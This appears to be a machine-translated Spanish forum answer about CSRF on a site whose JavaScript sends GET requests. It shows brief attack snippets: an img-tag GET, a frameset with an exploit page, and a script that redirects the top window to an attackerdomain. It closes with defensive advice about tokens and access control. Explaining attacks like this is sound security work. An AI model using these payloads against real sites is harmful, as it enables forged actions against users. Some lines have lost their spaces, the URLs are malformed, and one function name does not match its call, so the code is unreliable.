En primer lugar, puedo ver que esto es una vulnerabilidad CSRF, si su sitio web tiene un JS que ejecuta una solicitud GET, entonces veo el siguiente escenario:
1.-Un atacante puede ver y analizar su código JS y usarlo para sus propósitos.
2.-El atacante podría construir un sitio web que incluya su JS.
<script src="http//:victimdomain/js/myscript.js"></script>
3.-ElsitiowebcontieneunaetiquetaqueejecutaJSparaqueelusuariofinalnosedécuenta.
<bodyonload="sendRequest("Bob");">
4.-Un problema podría ser si el código JS redirigir a otro sitio, la víctima sabría que algo malo ha sucedido. El atacante necesita saber cómo maneja la respuesta el código JS y tratar de modificarlo para mantener a la víctima en el sitio web actual, tal vez necesite escribir una función JS para este propósito.
5.-Finalmente, el atacante simplemente envía su exploit (sitio web malicioso) a las víctimas y no pueden darse cuenta de lo que sucedió.
De esta manera, un ataque CSRF podría ser fácil de explotar. Ahora, si no tuviera un código JS para ejecutar una solicitud GET y el atacante tendría más opciones para explotar, por ejemplo, como dijo, un atacante podría hacer algo como esto:
<img src="http//:victimdomain/action?param=Bob"/>
Pero,comomencionéanteriormente,lasolicitudGETpodríaredirigirseaotrositio,entoncesestapodríaserunabuenasoluciónparaunatacante:
1.-Construyeunsitiowebcondosiframes,algocomoesto:
<html><head><title>ejemploCSRF</title></head><framesetcols="1%, 99%">
<frame src="exploit.html">
<frame src="empty.html">
</frameset>
</html>
2.-exploit.html contendrá la solicitud de obtención.
<img src="http//:victimdomain/action?param=Bob"/>
3.-empty.htmlcontendráelsiguientecódigo:
<html><head><title>ejemploCSRF</title><script>functionpeticion(){setTimeout(function(){if(top!=self)top.location.href="http://attackerdomain/falsewebsite";
}, 1000);
}
</script>
</head>
<body onload="redirect();">
</body>
</html>
4.-La función JS valida la ventana actual, si la ventana superior es diferente de la ventana actual (en este caso, el empty.html), entonces redirige al sitio web de un atacante y, por último, la víctima no se dará cuenta. lo que pasa.
Entonces, creo que su sitio web podría ser vulnerable a CSRF y hay maneras de explotarlo (no solo mis ejemplos), por lo que debería proteger su sitio web. Mis recomendaciones son:
- Use un token impredecible para cada solicitud.
- Si su código JS contiene parte de la lógica comercial de su sitio web, debe protegerlo, aplicar el control de acceso, solo los usuarios autorizados pueden usar ese código JS y ofuscarlo.
Espero que esta información te ayude.